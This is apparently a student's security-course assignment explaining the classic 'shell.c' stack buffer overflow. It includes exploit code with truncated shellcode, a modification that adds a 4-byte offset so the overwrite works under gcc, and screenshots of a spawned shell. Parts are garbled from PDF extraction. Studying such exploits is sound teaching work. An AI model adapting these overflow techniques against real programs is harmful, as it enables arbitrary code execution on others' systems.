SSE 2024 Assignment 1 Yuvraj Talukdar (CS23D009) February 12, 2024

Question 1.

Explain the functioning of the code "shell.c" (example code disuccused in class) Explaination

```
char shellcode[] = " \xeb\x18\x5e\x31\xc0\x

char large_string[128];

void main() {
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

for(i=0; i < 32; ++i) // 128/4 = 32
    long_ptr[i] = (int) buffer;

for(i=0; i < strlen(shellcode); i++) {
    large_string[i] = shellcode[i];
}

strcpy(buffer, large_string);
}</pre>
```

Figure 1: Code provided in assignment 1.

of the motive / supposed working of the code-

Aim here is to overflow the char array named buffer (Line 7) in such a way that the overflowed data rewrites the return address present in the stack.

Strcpy function (line 18) is used for achieving this by copying the char array large_string to the char array buffer. large—string is much larger than the buffer as a result overflow occurs.

When overflow occues we want rewrite the return address in the stack with a address which contains a malitious payload. The malitious payload here is stored in the char array names shellcode (line 2). The program used long_ptr to store the address of the large_string and used it to repetadely store the address of the buffer. The for loop in line 11, 12 does this. Large string is of size 128, and the address size of a 32 bit machine is 32 bit which is 4 byte. 128 / 4 = 32, so the for loop runs for 32 itteration to fully fill the large_string. (The assignment asked us to compile the code for 32 bit machine, for 64 bit this oviously will change.) Once the address filling process is complete the code fills the payload in the latge_string using the for loop in line 14, 15. Finally strcpy is used to copy the large_string to buffer which should lead to buffer overflow and rewriting of the return address with the address of the buffer where the malitious shell code is stored. The shell code is for starting a shell session, so when the program is executed a shell session should start.

Question 2.

- a. Explain the output of the code or what minimal changes should be made to "shell.c" such that it works when compiled with gcc (provided Makefile).
- b. Justify and highlight the changes made to the code if any and provide supporting screenshots of successful runs.



Figure 2: Alignment Problem in GCC

Problems I found in the original code:-

- 1. The given program works when compiled with clang but not with gcc.
- 2. Basically the problem is an alligment issue. GCC adds 4 bytes offset to buffer (which clang does not) as a result when strcpy is executed the return address does not perfectly alligns with the address of the buffer.
- 3. In the Ghidra decompiled code (Figure 3.a and 3.b) we can see for gcc there is an offset where as in clang there is no offset.

```
local_c = &stack0x000000004;
local_18 = large_string + 0x10;
for (local_14 = 0; int)local_14 < 0x22; local_14 = local_14 + 1) {
    *(char **)(large_string + local_14 * 4 + 0x10) = local_48;
}

for (long_ptr = (long *)0x0; (int)long_ptr < 0x20; long_ptr = (long *)((int)long_ptr + 1)) {
    *(int **)(large_string + (int)long_ptr * 4) = &i;
}
</pre>
```

(a) Decompiled gcc code using ghidra.

(b) Decompiled clang code using ghidra.

Figure 3: Ghidra decompiled code for clang and gcc.

4. **Solution 1:** Use the flag -mpreferred-stack-boundary=2 in the Makefile. But again this is modifying the Makefile which is not allowed according to the question. The -mpreferred-stack-boundary flag in GCC controls the alignment of the stack frame. It specifies the preferred alignment boundary for the stack pointer within a function's prologue.

```
sse@sse_vm:~/Documents/sse/Assignment1/cs6570_assignment_1_password_1234$ make && ./shell
rm -f shell
gcc -w -m32 -g -fno-stack-protector -z execstack -00 -mpreferred-stack-boundary=2 shell.c -o shell
$ whoami
sse
$ ls
CS6570_Assignment-1.pdf Makefile a.out full_code.c pat peda-session-shell.txt shell shell.c shell_clang temp.c
$ [
```

Figure 4: Proof of successful execution on using the compiler flag -mpreferred-stack-boundary=2

5. Solution 2: In the modified code we made the adjustment for potential padding by

```
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89
char large_string[128];

void main() {
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer+4;

    for(i=0; i < strlen(shellcode); i++){
        large_string[i+4] = shellcode[i];
    }

    strcpy(buffer, large_string);
}</pre>
```

Figure 5: Modified Code

incrementing the address stored in large_string (large_string[i+4] = shellcode[i];) and aligning it properly by adding +4 when assigning addresses to long_ptr. This adjustment makes the code less likely to fail due to misalignment issues, hence it works on both GCC and Clang.

```
sse@sse_vm:~/Documents/sse/Assignment1/cs6570_assignment_1_password_1234$ make && ./shell
rm -f shell
gcc -w -m32 -g -fno-stack-protector -z execstack -00 shell.c -o shell
0xffffd57c
$ whoami
sse
$ s ls
CS6570_Assignment-1.pdf Makefile a.out full_code.c pat peda-session-shell.txt shell shell.c shell_clang temp.c
$ $ \]
```

Figure 6: Proof of successful execution of the modified code.

Question 3.

How does your compiled binary differ from the provided binary "shell clang"?

```
        0x08048449 <+14>:
        sub
        esp,0x44

        0x0804844c <+17>:
        mov
        DWORD PTR [ebp-0xc],0x0

        0x08048453 <+24>:
        mov
        DWORD PTR [ebp-0xc],0x0

        0x08048454 <+31>:
        jmp
        0x08048477 (min-160>

        0x08048456 <+33>:
        mov
        eax,DWORD PTR [ebp-0xc]

        0x08048466 <+44>:
        add
        edx,[eax*4+0x0]

        0x08048469 <+46>:
        add
        eax,edx

        0x08048460 <+48>:
        lea
        edx,[ebp-0x40]

        0x08048471 <+54>:
        add
        edx,ex

        0x08048473 <+56>:
        add
        DWORD PTR [ebp-0xc],0x1

        0x08048473 <+56>:
        add
        DWORD PTR [ebp-0xc],0x1

        0x08048473 <+56>:
        add
        DWORD PTR [ebp-0xc],0x1

        0x08048474 <+66>:
        jle
        0x804845c <main+33>

        0x08048486 <+75>:
        mov
        DWORD PTR [ebp-0xc],0x0

        0x08048486 <+75>:
        mov
        eax,DWORD PTR [ebp-0xc]

        0x08048487 <+92>:
        mov
        eax,DWORD PTR [ebp-0xc]

        0x08048489 <+98>:
        mov
        eax,BYTE PTR [eax]

        0x0804849 <+98>:
        add
        DWORD PTR [ebp-0xc],0x1

        0x0804849 <+1
```

- (a) Disassembly of modified code.
- - (b) Disassembly of shell clang.
- 1. In the original code, the addresses stored in large_string are calculated as edx + [ebp-0x10], where edx is the offset calculated based on the loop counter (eax), and [ebp-0x10] holds the address of buffer.
- 2. The instruction mov DWORD PTR [edx], eax directly stores the address of buffer into large string.

- 3. This approach doesn't account for any padding between buffer and large_string, potentially leading to misalignment issues.
- 4. In the modified code, the addresses stored in large_string are calculated as [ebp-0x40] + 4, where [ebp-0x40] is the address of buffer.
- 5. The instruction mov DWORD PTR [eax],edx stores the address of buffer + 4 into large_string, accounting for potential padding between buffer and large_string.
- 6. By adding +4 to the address of buffer, the modified code ensures proper alignment between buffer and large string.

Question 4.

Why does the provided binary work as intended even when it is compiled from the original source file "shell.c" using clang instead of gcc?

The crux of the problem is alignment. GCC by default alings the pointers differently compared to clang. The modified code words only on gcc and not on clang. The modified code keeps in factor the gcc alignment scheme and crafts the required payload with proper length both for the payload and buffer to perform the successful attack.

In conclusion we can say that for a successful bufferoverflow attack the compiler environment need to be also taken into consideration.

Extra Tools Used

- 1. Ghidra https://ghidra-sre.org/
- 2. GDB-PEDA https://github.com/longld/peda